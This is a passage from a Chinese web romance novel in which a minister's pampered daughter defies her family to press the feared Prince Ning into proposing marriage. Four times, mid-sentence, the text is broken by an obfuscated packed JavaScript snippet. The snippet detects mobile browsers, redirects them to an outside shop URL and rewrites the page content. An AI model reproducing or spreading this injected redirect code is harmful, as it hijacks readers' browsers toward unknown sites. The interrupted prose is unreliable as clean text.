“你以为你逃得过吗!”老太太上前,边打边骂,“你最混账!我跟你说过多少回,媚儿性子单纯,叫你带她出门,一定要看好她,你是如何答应我的?你是如何答应我的!” 柳琮跪去柳珣跟前:“祖母,事已如此,再打他也解决不了任何问题,还是想想该如应对吧。今日在宁王府前的人不少,说不定林家现下已经知晓了。” 老太太气得往椅上一坐,拿拐杖指着他问:“你说得好听,那你说要如何应对!” “林家那边必须要去解释,若是林家不介意,婚事照旧,若是林家介意,往后我们三个兄长便照顾小妹一辈子。当然,宁王那边自是不能轻易放过,待父亲回来,我立即去与父亲说明,明日早朝便上奏弹劾宁王。” 老太太的怒火稍退:“继续往下说。” 柳琮接着道:“媚儿还小,经历了这样的事,心中难免害怕,还要请祖母和母亲多加安抚。舅爷快过生辰,祖母不如带媚儿去雍城散散心,祖母意下如何?” “如今也只能先这般了。”老太太缓缓叹息一声,“你们都在这里给我守着,媚儿什么时候醒了你们什么时候离开,尤其是你,老三!你今日就给我好好跪在这里反省!” 柳珣愧疚万分,一声不吭,耷拉着脑袋跪着。 老太太回卧房后,柳琮拍拍柳珣的肩:“此事虽不全是你的错,可你真是要长个记性,媚儿性子单纯,这回是人还活着,下回真要连命都丢了可如何是好?” 柳珣眼睛红了一圈,哽咽道:“都是我的错。” “三弟这回是有错,可总这样惯着小妹也不是长久之计,我看以后还是得好好教导。”柳瑜小声道。 “现在是说这话的时候吗?你还嫌祖母不够生气吗?”柳琮叹息一声,“也怪我,平日里没多劝着祖母母亲好好管教媚儿,否则也不至于发生这样的事。” 柳瑜一捶地板,咬牙道:“都是那个宁王封肆!他不满我们柳家,冲着我们来啊,对小妹下手算什么?真是卑鄙小人!这回一定不能放过他!” 柳琮沉声道:“等父亲回来,我们再细细商量,仅凭这一件事,只怕是会他轻易就能揭过去,最好看看舅舅那边能不能和我们一同上奏。只是宁王与陛下一向亲厚,此回过后,你我的仕途恐怕就倒头了。” 柳瑜道:“那又如何?难道小妹还没有我们的仕途要紧吗?不论后果,我们必须要让那个宁王付出代价。” 柳琮叹息:“我只是让你做好打算,小弟也是。” 堂中沉默起来,没过多久,侍女传报老爷回来了,柳琮立即起身前去迎接,两三句话便将前因后果解释清楚,柳尚书脸色一沉,急步去卧房中探望过,几人一同移步进书房,低声商议。 柳瑜和柳珣还跪在堂中,柳瑜抱怨:“明明我都算进入官场了,他们现在商量什么事还不叫我,让我和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058189|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这个孩子待在一块儿。” “二哥,别说笑了,你看我现在能笑得出来吗?”柳珣瞥他一眼。 “好了,不是说了吗?此事也不全是你的错,别太自责了。” 侍女突然从房中出,躬身道:“二公子,三公子,四小姐醒了。” 两兄弟一愣,立即起身往卧房里走:“媚儿,你怎么样了?还好吗?” 柳娆正看着床顶,跟个小木头人似的。 两个兄长快心疼坏了,以为她是遭受打击,还没反应过来,尤其是柳珣,声音都哽咽了:“媚儿?” 柳娆眼眸一转,语气轻快道:“诶?我怎么回来了?我不是在小四家吗?” “小四?”两个兄长都是一愣。 “对啊。”柳娆坐起,长发披落,卷卷长长的眼睫眨眨,“就是宁王封肆啊,你们在朝做官,还不知道宁王吗?” 柳瑜比划个停的手势:“等等,等等,你叫他什么?” 柳娆蹙着眉,又眨眨眼:“小四啊,他不是叫封肆吗?你们不知道他的名字?” 柳瑜满脸迷惑:“你叫他小四?你别告诉我,你在他跟前也是这样也是这样叫的。” 柳娆也满脸迷惑:“他在我跟前就不叫封肆了?” “他没揍你?” “他为什么要揍我?他可喜欢我了,他还说明天要来咱们家提亲呢,你们赶紧准备准备吧。”柳娆起身要往梳妆台前去。 柳瑜抓住她的手臂:“什么玩意儿?你再说一遍?” “二哥,你怎么也变呆了?还是耳朵不好使了?”她弯腰,在他耳旁高声喊,“我说,他明天要来咱们家提亲,让你赶紧去准备。” 柳瑜往后仰头躲开:“我不是没听见,我是问你,到底在宁王府里发生了什么,怎么就要提亲了?你知不知道我们都快急死了!” “急什么?”柳娆歪着头看他。 他深吸一口气:“你别跟我东扯西扯,你先给我说清楚,你在宁王府究竟发生了什么!” 柳娆扯扯他的袖子:“你别着急呀,也没什么,就是说了提亲的事,吃了醉蟹,对了,他还送了我好多珠子,你们拿回来……” “停!停!”柳瑜打断,“你是说,你浑身的酒气,是吃了醉蟹?” 柳娆耸耸肩:“不然呢?” 柳瑜深吸好几口气,安抚自己几句:“不生气,不生气,你告诉我,你们是怎么说到提亲这个话题上去的?” “他说他喜欢我,我告诉他,成亲的事,我自己做不了主,就让他来家里跟祖母和母亲商量婚事啊,你放心我不是不懂礼数的人,婚姻大事肯定是父母之命媒妁之言……”柳娆摇头晃脑,一本正经道。 “好。”柳瑜抓住她的肩,“这个问题过去,你告诉我,他有没有对你做什么逾矩的事。” 她轻笑,弯着眉眼害羞道:“他亲我了。” 柳瑜气得差点跳起来:“你说什么!” “别急别急。”柳娆一脸镇定拍拍他的肩,“我也亲他了。” 5. 第 5 章 “我真是恨不得,我恨不得……”柳瑜气得鼻孔快要冒烟,左右巡视一圈,一把抄起枕头,抓住她的手臂就要往屁股上打,“你还笑,你还笑得出来!” “你敢打我,我要告诉祖母和母亲!” “你还敢告诉祖母和母亲,就是她们惯的你!” “二哥,二哥。”柳珣慌忙拦,“哎呀!二哥!她哪里懂这些啊!” 柳娆边躲边喊:“我怎么不懂啦?不就是亲个嘴嘛,你难道没亲过?你凭什么打我?” “你是有婚约的人!你还没有出阁!” “他说明天就来提亲的!明天过后,我就和他有婚约了!” 柳珣趁机上前,挡在两人中间,张开双臂护着柳娆:“二哥,媚儿刚从宁王府回来,都要吓坏了,你就不要再动手了。” 柳瑜指着他肩膀后的脑袋:“你看看她是要吓坏的样子吗?就是你们惯的,今日再不给她点教训,她以后还会闯出更大的祸事来!” “好了,她懂什么?都是宁王的错。”柳珣又劝一声,转身按着柳娆坐下,轻声道,“你好好跟三哥说,到底是怎么回事?你知道的,婚姻大事不是儿戏,怎么能这么随意呢?你可是和林家小公子有婚约的。” “我知道啊,可是我不想嫁去林家。”柳娆撇撇嘴,委屈巴巴道。 柳珣又问:“为何?” 她抬抬下颌,朝柳瑜看去:“二哥说的嘛,林御史是个老古板,像我这样娇纵任性的人,嫁去林家,肯定要被公公婆婆骂的。封肆就不一样啊,我去看过了,他一个人住,没有公公婆婆,没人骂我。” 柳珣看柳瑜一眼。 柳瑜拉着椅子来坐下,小声道:“那是先前我读书那阵,她天天缠着我,我实在没办法了,就吓唬了她两句……” 柳娆轻哼一声:“可不是两句。” 柳瑜一噎,反驳:“就算是如此,那你也不能这般轻浮吧?还有,他亲了你之后,没做别的吧?” “我怎么轻浮啦?他喜欢我,我也喜欢他,我们是两情相悦。他对我可好了,给我买了首饰,送了我好多珠宝,给我买了醉蟹,还说要送我布匹,他家的房子好大的,马车也好大……” “停,你先说,他亲了你之后,有没有做别的?”柳瑜打断。 “还能做什么?”柳娆噘噘嘴,板着小脸教训,“二哥,下回别人说话的时候,你不要随意打断,这样很没有礼貌的。” 柳瑜指了指自己,气得没说出话来,又道:“好,那你知不知道他是什么人?他是……” “他是封肆啊。”柳娆说完,赶紧又补充,“是你先打断我的。” 柳瑜瞅她一眼,接着道:“他心狠手辣,手下的人命没有几百也有几十了,他这回将你带回府上,就是为了对你做不好的事,你知道吗?” 她头一转:“我才不信呢,你就是为了把我嫁给林家,让林家的御史老头打我骂我欺负我,才这么吓唬我的。” 柳珣看他们又要吵起来,立即应和:“媚儿,二哥他没骗你,那个封肆真不是什么好人,你想想,有哪个正经男人第一回碰见一个女人就要把她带回家,就要亲她?” 柳娆抬着下颌,不假思索:“你不懂,我们这是一见钟情。” “呸!”柳瑜气得在她头上敲一下。 “你敢打我脑袋?”柳娆惊圆了眼,双手抓着柳珣的手臂,哼唧唧,“三哥,你看看,二哥他打我,我才不相信他的话呢。” 柳珣给她揉揉头:“二哥打你是他不对,可封肆真不是什么好人。” 她往他肩上一靠,轻轻晃晃:“可是小四他对我真的很好呀,他说明天就来提亲的。” 柳瑜怒道:“他来跟你提亲?他就是为了玩弄你的身体!” “二哥!”柳珣低斥,“别在媚儿跟前说这些话。” “好好,那我们打赌如何?” 柳娆腰杆一挺:“赌什么?” 柳瑜看着她:“他要是没来跟你提亲,你就把接下来半年的月钱全给我,以及,以后不许再出门,给我老老实实待在家里。” 她一咬牙,气鼓鼓道:“那他要是来提亲了呢!” “我就把我接下来半年的月钱全给你。” 柳娆一拍桌子:“好!你就等着乖乖把月钱给我送来吧!哼!” 柳瑜瞅她一眼,满肚子气拂袖离去。 柳珣叹息一声,苦口婆心接着劝:“媚儿,哥哥们怎么会害你呢?封肆他真的不是什么好人,他要是真心喜欢你,我们高兴还来不及。” “可是他对我真的很好呀。”柳娆小声反驳。 “不是花钱就叫好的。”柳珣轻声劝,“方才那些话不要跟祖母她们说了,一会她们来,你就说在宁王府什么都没有发生,知道了吗?父亲和大哥很担心,还以为你真被宁王占了便宜,都要赌上前程去为你讨公道了。” “没有。”她抠抠指尖,“我知道了,可是他说好明天要来提亲的。” “你说没事,和他明日来提亲并不冲突,他若是真心想来,还是会来的。” 柳娆点点头:“好。” 不久,长辈们匆匆进门,老太太坐在床边,含泪握住她的手:“媚儿,你终于醒了,可算是担心坏祖母了。” “祖母,娘,爹爹,我没事。” “你别怕,你父亲和你大哥明天就去给你讨公道,我们一定会让那个坏人付出代价的。”老太太满眼疼惜,抚摸她的脸颊。 她和柳珣对视一眼,又道:“祖母,我真的没什么事,我就是去宁王府上玩了一会,封肆他给我买了好多首饰,还送了我很多珠宝,我们还吃了醉蟹。” 老太太回头和儿子媳妇交换一个眼神,转头又问:“你是说你酒气醺醺的,是吃了醉蟹?” “对呀,我想吃醉蟹,封肆就让侍女买了回来。” “那他有没有……”老太太顿了顿,继续问,“他有没有轻薄你?” 柳娆又和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058190|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳珣对视一眼,垂着眸子轻轻摇头。 老太太拍拍她的手,轻声道:“好,祖母知道了,别害怕,即使发生了什么,也有祖母在,不会让你有事的,你先休息一会儿,祖母和你父亲还有话要说。” 柳尚书跟着出门,小声问:“母亲如何看?” “我方才和你媳妇儿检查过,媚儿身上的确没有什么痕迹。” “那我们还要弹劾宁王吗?” “既然媚儿都说没有轻薄,我们也没什么证据弹劾他,此事闹大对媚儿也没有什么好处,但他如此作为定是不怀好心,我们还是要寻个机会告诫他一番。至于林家那边,旁敲侧击地问问,看看他们介不介意,若是介意,我们再为媚儿换个亲事便是。” 柳尚书微微点头:“好,那便依照母亲的意思,宁王这边肯定不能就此揭过,儿子会想办法私底下和他谈谈。” “你去吧。”老太太摆摆手,回到卧房之中,亲昵地搂着柳娆,轻声哄着,“我的媚儿啊,你这回可真是把祖母吓坏了,往后不能随便跟人走了,知道吗” 柳娆依偎在祖母怀里,哼哼着告状:“祖母,二哥他刚刚打我。” “打哪儿了?来,祖母看看,打疼了没有?” 她立即委屈起来:“打疼了,好疼的,打了我的头,还有我的屁股。祖母,二哥他越来越过分了,他总是欺负我。” 老太太边给她揉着边哄:“好,祖母回头就教训他,他为什么打你呀?还不是因为你不听话。” 柳娆不服气道:“不是,才不是呢,只是因为我想嫁给封肆而已。” 老太太一怔,朝柳珣看去。 柳珣立即垂眼,当做没瞧见。 “祖母,封肆对我真的挺好的,他又有钱对我又好,长得也还不错,你们为什么不同意我嫁给他?”柳娆又问。 老太太看向柳珣,揪住他的耳朵将他拽来:“你赶紧老老实实交待,你们俩刚才跟媚儿说了什么。” 他捂着耳朵喊:“没什么啊,真的没什么。” 柳娆连忙劝:“祖母,你别打三哥,这个家里就三哥对我最好,他只是不让我告诉你们,我和封肆亲嘴了而已。” 柳珣欲哭无泪:“媚儿,你还不如不说话呢……” 老太太眼前一黑,一口气喘不上来:“什么?!” 陈夫人慌忙将母亲扶住:“这到底是怎么回事?你们快解释啊!” 柳珣焦急解释:“不是祖母想的那样,媚儿除了和宁王亲吻过外,其他的什么都没做,我们是怕祖母担心才不说的,祖母也看到了,媚儿这个性子,心里也藏不住什么事,若是她和宁王真发生了些别的,也不会忍住不说的。” 老太太那口气喘上来,缓缓平复呼吸:“媚儿,你三哥说的是真的吗?” 柳娆看着祖母,轻轻点头:“嗯。” 老太太也看着她,长长叹息一声:“不要想着此事了,就当什么事也没发生过,宁王他不是良配。” 6. 第 6 章 “他怎么就不是良配了?”柳娆正要撒娇反驳,对上祖母那双认真严肃的眼眸。 祖母向来都是什么都依着她的,从来没有这样看过她。 她轻轻垂眼,不敢再言语。 老夫人将她搂进怀里:“下个月是你舅爷六十大寿,祖母和母亲带你去雍城玩。” “噢。”她低垂着眼。 出了这样的事,柳珣不敢再带她出门,老夫人和陈夫人也是时时刻刻守着她,她嘴上不说,心里却惦记着提亲的事,翌日一早盼到日落,也没见有人来。 趁祖母和母亲准备晚膳的空隙,她偷偷摸摸将柳珣拉到角落里:“三哥,你跟我说,是不是他来了,你们没告诉我?” 柳珣看她一眼:“祖母和母亲今日可是一整日都在你身旁,若是王爷来了,她们敢不出门迎接?” 她瘪瘪嘴,小声又问:“他真没来?” 柳珣怕她伤心,赶忙安慰:“他也不是什么好人,不来还好些,林家小公子不比他差的,你以后见过就知道了。” 她看着他,嘴唇颤抖:“那我是不是要给二哥半年的月钱了。” 柳珣忍不住低笑:“原来你是在害怕这个啊?你放心吧,二哥他就是吓唬你的,不可能真要你的月钱。别想了,用晚膳去吧。” 柳娆不相信,二哥平时最凶,要是她输了,二哥肯定会严格执行赌约,将她半年的月钱都拿走,还要她往后都不准出门。 她心事重重,睡都睡不好,辗转反侧一夜,又一日,封肆仍旧没来,月初刚发了月钱,她捂着钱袋子,每日绕着二哥柳瑜走。 柳珣刚念完书,一出门就瞧见她鬼鬼祟祟,绕去她身后,顺着她的目光看两眼,好奇问:“干什么呢?” 她吓得一抖,头上的绢花乱颤,委屈得不得了:“三哥,你吓我做什么!” 柳珣无奈笑道:“我没吓你。” “你就是吓我了!”她腰一叉,脚一跺。 “好好,是三哥的不对,但你在这里做什么呢?祖母和母亲呢?没陪着你吗?” “舅爷过生辰,祖母和母亲去收拾东西了,我又不是小孩子了,也不用她们时时陪着,”柳娆眼眸转动一圈,推着他往旁边去,“好了好了,你去玩你的吧,不用管我。” 他一头雾水,扭着头往后看:“你不是要做什么坏事吧?” “我能做什么坏事?你快去念书吧,你明年要是考不上,二哥又得说你了。”柳娆一路将他推进厅中,转头就跑。 柳珣看她是朝厨房的方向去,以为她是去弄什么甜食吃,祖母管着不许她吃太多甜的,她偶尔也会去厨房磨一磨厨子和侍女们。他松了口气,高声叮嘱几句:“别吃多了,当心长不高。” 她摆摆手,跑得飞快,一溜烟儿到了厨房附近,却未往里走,而是巡视一圈,揭开马车上的大竹篓,钻了进去。 柳府的人不少,后厨每日都要运些菜回来,有的是从农户那里采买来的,有的是从郊外的庄子里运回来的,她此刻蹲的这辆板车,便是运送蔬菜的,竹篓里还有股蘑菇的香气。 没过多久,马车缓缓驶动,负责押运的小厮一路跟人打着招呼往外去,出了侧门,鞭子一摔,马儿跑起来,柳娆钻出竹篓,竹盖被掀翻,嘭一声掉在地上。 小厮一惊,转头来看,正好对上她的四处打探的脑袋:“四、四小姐?您怎么在这里?这要是叫老夫人知道了还得了?小的这就送你回去。” “嘘!”她用食指挡住,紧张兮兮的模样。 小厮咽了口唾液,停下赶马的鞭子,紧张道:“怎么了?” 柳娆正色道:“你知道宁王府在哪里吗?你送我过去。” 小厮满脸为难:“这、这怎么能行呢?老夫人要是知道您偷偷跑出门,肯定要罚小的的……” “你不送我去,我现在就罚你。”她故意板着脸,“你送不送我去?你不送我去,我自己去。” 小厮实在没办法,只能应下,磨磨蹭蹭将她送到宁王府门前:“小姐,就是这里。” 她又钻出竹篓,看一眼府上的牌匾,跨出竹篓,气势汹汹大步朝前走。 “四小姐?四小姐?”小厮喊了两声,调转马车,飞快朝回奔。 柳娆已大步到了宁王府门口,守门的侍卫朝她围来:“什么人?” 她气道:“我是柳家的小姐,我来找封肆的。” 侍卫打量她几眼,后退几步,恭敬道:“王爷不在府中,小姐还是改日再来吧。” “他不在家?那他去哪儿了?我必须要立即见到他。” “王爷的行程不会告诉卑职,卑职也不清楚。” 柳娆牙一咬,往门前一蹲:“我哪里也不去,我就在这里等他,等到他回来为止!” 封肆刚从刑部大牢出来,新帝登基,有不少案子要清算,都是由他来处理,他这段时日大多泡在大牢里,日光都未见过几天,早有些疲惫,正闭着眼靠在车厢上放空。 忽然,马车停下,守门的侍卫小跑来,低声道:“王爷,柳家的小姐来了,说要见您。” 封肆一愣,挑开车帘看去,果然瞧见蹲在王府大门旁的那团身影。他这几日忙得连饭都顾不上吃,哪里还记得什么柳家小姐,疑惑问:“她来做什么?” 侍卫也疑惑:“卑职也不清楚,她在门前蹲了有一会了,怎么劝也不走。” 封肆眼眸微动,抬步下车,不紧不慢走近。 颀长的影子落下,柳娆抬眸,缓缓站起:“你说要去我家提亲的,为什么不去?” 封肆顿住,欲言又止:“我……” “我的月钱,半年的月钱,都要输给我二哥了,那可是半年的月钱!” 封肆满头雾水:这两件事有什么关联吗? 柳娆越想越气,越想越委屈,眼泪哗一下就涌出来,嚎啕大哭:“我等了你这么多天,你为什么不去?我的月钱,我的月钱……” 封肆一脸茫然,不知所措,低声责问侍卫:“你们都干什么了?她怎么哭成这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058191|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样?” 侍卫们也委屈:“卑职也不清楚啊,卑职们什么都没做啊。” 管事上前,小声提醒:“王爷,柳小姐好像是在伤心您没有去柳家提亲的事。” 柳娆边抹着眼泪边嚎:“你为什么不去提亲?” 封肆往外看一眼,要将她往府里带,这周围住的都是些高官显贵,再这么闹下去,可真要说不清了。 她纹丝不动,哭着喊:“你赔我月钱!” 封肆实在没办法,只能顺着她的话往下说:“好好好,我赔我赔,多少?” “真的?”她的眼泪歘一下停了,吸了吸鼻子,沙哑着嗓子道,“一个月二两,半年十二两。” 封肆随即开口:“快快,快给她拿二十两银子,送她回去。” 柳娆瞬间转泪为笑,翘着嘴角问:“那你什么时候来我家提亲?” “我……”封肆看着她哭红的鼻尖,挂在睫毛上圆润的泪珠,实在不忍心说什么拒绝的话,这事论起来,还真是他的错。 柳娆踮起脚,在他脸颊上亲一口:“你什么时候来我家提亲。” 他慌得左顾右盼,紧忙揽住她的肩,将她带进府中,小声警告:“以后不许在外面动手动脚。” 柳娆看着他,泪水洗过的眼眸格外澄澈:“那你什么时候来我家提亲?” “这个……” “你是不是不想来我家提亲了?我二哥说你是骗我的,你根本就没想来我家提亲,对吗?” “我……” “对吗?” 他看着那双澄净无比的眼眸,有些懊悔,那日晌午,他第一回在街上遇到她,就不该将她带回府。 柳娆看着他,忽然明白了,嘴角慢慢下垂,还湿润着的眼眸又开始往外冒泪珠,哽咽道:“你真的是骗我的?” “我……” “我知道了。”她缓缓垂眸,咬着唇,小声呜咽起来。她的月钱,真的要没了,以后也再不能出府玩了。 “你……”封肆摸一圈,没摸到手帕,抬起衣袖手忙脚乱给她擦去眼泪,“你才见我几面?有必要这么伤心吗?” 她嚎一嗓子,仰头大哭起来:“你不喜欢我,你根本就不喜欢我……” 封肆险些被吼晕:“没有,没有,你别哭了,我耳朵要被你吵聋了。” 柳娆张着嘴,吼得更起劲了:“你只在意你自己的耳朵聋不聋,根本不在意我伤不伤心!我不管我不管我不管!你必须去我家提亲!” “好好好!”封肆握住她的肩,“好,我去你家提亲,去你家提亲。” 她变脸的速度还是一如既往地快,立即看着他:“真的?” 封肆吐出一口浊气,揽着她的肩往里走:“不过,我提前提醒你啊,我的婚事是陛下说了算的,就算是去你家提亲,也未必能娶你,你别到时候又跑来我这里吼。” 她轻哼一声,反正先去提亲,让她赢了二哥再说,那可是半年的月钱,半年的啊,能买多少首饰布匹啊。 7. 第 7 章 封肆以为她还是不高兴,讶异看去:“你就这么喜欢我?” 她眨眨眼,一脸疑惑:“不是你喜欢我吗?” “好好,是我喜欢你。”封肆跨进堂中,揽着她坐下,摸摸她满是泪痕的脸,“你怎么跑出来的?你家里人不是很不喜欢我?他们能放你出来?” 她抬袖擦擦眼泪,大大方方道:“我钻菜篓子里出来的。” 封肆一愣,忍不住笑:“你这么想嫁给我吗?” 她想了想,点点头。 封肆捧着她的脸,指腹轻轻摩挲她的脸颊,低声道:“亲我一下。” 她毫不犹豫在他嘴上亲一口。 封肆扬唇,含住她的唇,含糊不清道:“张嘴。” 她蹙着眉,眼瞳动动,被亲得发红的唇微微张开。只是微微张开,封肆立即彻底撬开她的齿关,吞没她所有的呼吸。 她瞳孔一缩,怔怔看着近在咫尺的眉眼,温热的掌心落下,挡住她的视线,在她要无法呼吸时,及时撤开。 “我明日就进宫请陛下赐婚,至于你家,我就不去了,陛下不同意,我去也没用。” “你不去了?”她皱着眉抬眸,“你不去怎么能行呢?你不去,他们怎么知道呢?” 封肆看着她湿漉漉的眼眸,忍不住捏起她的脸颊,又在她嘴上亲一口:“陛下同意,传旨去你们家,你家里人不就知道了?” “他要是不同意呢?” “你想这么多做什么?我会让他同意的。” 她眼睛转转,眯着眼笑:“那行。” 封肆哼笑一声,刮刮她的鼻尖:“好了,我让人送你回去。” 她正襟危坐,一脸严肃:“不行不行,我刚哭过,没有抹脸不能出门,我的脸会被风吹伤的。” “还挺讲究。”封肆扬唇,朝人吩咐,“去拿些膏子来。” 他平时虽不讲究这些,但擦脸的膏子还是有一些的,侍女呈来,怀里的小姑娘看一眼,却满脸嫌弃拒绝:“我不要这样的。” “这不是膏子吗?”他拿起闻闻。 “不不,我要有香味的,最好是城东胭脂铺里的芙蓉珍珠膏。” 封肆皱眉:“那是什么?” 侍女小声回答:“是用珍珠和鲜花研磨成粉做成的膏子,听闻能美白保养肌肤,一小罐要五两银子。” “去买,多买几罐。” “我还要吃酥鹅!”柳娆噌一下站起。 封肆将她按回椅子上,又吩咐:“再买一份酥鹅。” 她心满意足点头:“对,要酥鹅。” 封肆笑着捏捏她的脸:“以后别乱往外面跑,你不大机灵,容易被骗。” “你才不机灵呢。”她骂一句,又在他嘴上亲一口,拉着他的手问,“那我要是想你了怎么办呢?” “你想我?” “对呀。”柳娆抱住他的背,靠在他肩头,用毛茸茸的脑袋蹭他,“小四,我好想和你住在一起呀。” 他拍拍她的背,将她拎起来:“不许这么叫我。” “为什么?这是对你的爱称,你不喜欢吗?”柳娆靠去他的颈窝里,继续用毛茸茸的脑袋蹭他,边蹭边喊,“小四,小四。” 他的脾气全被她额头前那毛茸茸的碎发给蹭没了,无奈弯起嘴角:“在外面不许这么喊我。” “那当然啦,在外面我要喊你夫君的嘛。”柳娆笑眯眯在他脸颊上亲亲,甜滋滋地喊,“夫君,夫君。” 他的嘴角根本压不住,不受控制地往上扬,他终于知道为什么小姑娘的小名会叫媚儿了,他简直要在这娇滴滴的呼喊声中醉过去了。 侍女喊了他两声,他才反应过来,强行压住嘴角问:“何事?” “柳家的三公子来了。”侍女轻声道。 他微怔,松开怀里的人,稍稍正坐:“叫他进来。” 柳珣进门时,柳娆正赖在封肆怀里不肯起来,柳珣简直没眼看,背过身去,板着脸道:“赶紧跟我回去,祖母母亲要是知道你跑来这里,饶不了你。” 柳娆眼睛转转,考量一番:“你等一会儿,等我的酥鹅回来,我就和你回去。” “什么酥鹅?你现在赶紧跟我走!”柳珣气得一把将她从男人的怀中拽起。 封肆起身,不紧不慢将她护去身后,目光落在柳珣身上:“侍女去买酥鹅了,很快就回来。” 今日是他妹妹自己送上门来,柳珣面对封肆,没好意思开口指责,只道:“是我妹妹不懂事,叨扰宁王殿下,我这就回去好好管教她,再不会放纵,请殿下莫要怪罪。” “三哥,他没觉得我叨扰。”柳娆从封肆背后探出脑袋,说罢,又扯扯封肆的袖子,“你说是吧?” 封肆扬唇,不徐不疾坐回去:“对,我没觉得她叨扰。你不必一副宁折不屈的模样,我原本就是要让人送她回去的,等侍女将芙蓉珍珠膏和酥鹅买回来,她立即就跟你回去。” 柳珣恨不得现在就把人揪出来,好好问问酥鹅是怎么一回事,芙蓉珍珠膏又是怎么一回事。 “媚儿。”他无奈喊。 “你就等一会儿嘛。”柳娆拉着他坐下,在他耳旁小声道,“他说要给我买芙蓉珍珠膏的,好几罐呢。” “媚儿!” “三哥~” 柳珣深吸一口气,没好气道:“你自己想想该如何跟祖母和母亲解释吧!祖母那日可是叮嘱过你,不许你自作主张的,你别忘了,你已经许过人家了。上回你在宁王府前拉拉扯扯,人家林家没有计较,这回又来,若是传出去,我看你怎么解释。” 他没有压低声音,故意要让封肆听见。 封肆果然开口:“媚儿,过来。” “什么?”柳娆走过去。 封肆看向她:“你见过林家公子吗?” 她摇摇脑袋。 封肆摸摸她的头,便柳珣看去:“媚儿的婚事你不必操心了,本王会和你父母商谈。” 柳珣满眼诧异。 封肆没有理会,又朝柳娆看去:“侍女回来了,拿上你的鹅和膏子回去吧,别乱跑,等我空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058192|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会去看你。” “噢。”柳娆朝侍女奔去,高高兴兴接过打包好的食物,“行,那再见啦。” 封肆跟出去几步,黑色绸缎靴子往石墩上一踩,勾唇道:“我看你不是舍不得我,是舍不得我给你买的酥鹅吧?跑得这么快,头也不回一下。” 柳娆将东西往柳珣手中一塞,提着裙子笑眯眯跑回来,啵唧往他脸上亲一口:“谢谢你,你记得要去找皇帝说哦。” 他笑着摆摆手:“记得,去吧。” 柳娆蹦蹦跳跳跑回柳珣身旁,接过他手中的东西,高高兴兴往外走。 柳珣在原地震惊好一会儿,才快步跟上,小声追问:“你到底在搞什么?你还记不记得自己是个未出阁的女子?你怎么就这么随便和人家卿卿我我?” “不是人家,他说他明天会去找皇上赐婚的。”柳娆钻进马车,立即打开热腾腾的酥鹅,埋头深吸一口气,“没错,就是这个味道,真香啊,三哥,快吃!” 柳珣惊得下巴都快掉了,双手握住她的肩,郑重道:“你是认真的?他真的说他要去向皇上求圣旨?” 她不紧不慢咬一口鹅腿,油滋滋的小嘴嚼啊嚼:“当然啦,我骗你干什么?二哥就等着把接下来半年的月钱输给我吧!” “你对他做了什么?” “什么做了什么?” “他为什么会同意去跟皇上求赐婚?他和我们家一向没有交际的,依照我们家的能耐,也攀不上他这个炙手可热的亲王,他竟然要去求皇上为你和他赐婚?他说了没有?是让你做正妃还是侧妃?” 她现在满心思都在手中这只肥美冒油的鹅腿上了,不紧不慢反问:“是吗?还有这么多讲究呢?他来求婚不就是要娶我为正妻?” 柳珣无奈解释:“那王爷能和普通人家一样吗?” “噢,那你要不让车夫调转回去,我去问问他?”她说着,咔嚓一声,又咬下一口酥脆的外皮。 柳珣看得火气直冒:“算了算了,和你说也说不清,我回去问问二哥。” 柳娆撕一块肉,塞到他手里:“你急什么呀?先将这酥鹅吃完再说,拿回去可就吃不了了,祖母要是知道我去找他,肯定要生气的。” “你还知道祖母会生气啊,我还以为你不明白呢。”他狠狠咬一口鹅肉,“味道还不错。” “那当然啦。”柳娆得意抬抬眉,“他对我可好了,我就想嫁给他,往后有吃不完的酥鹅醉蟹。” “你就这点出息。”柳珣笑着在她脑袋上敲一下,“人家林家也不差,不缺你这一顿酥鹅醉蟹的。” “不不不,不止是酥鹅醉蟹,还有芙蓉珍珠膏呢,他一下就给我买了……一二三四五,五罐!”她一本正经道,“你要是成亲了,舍得给嫂子买这么多面膏吗?” 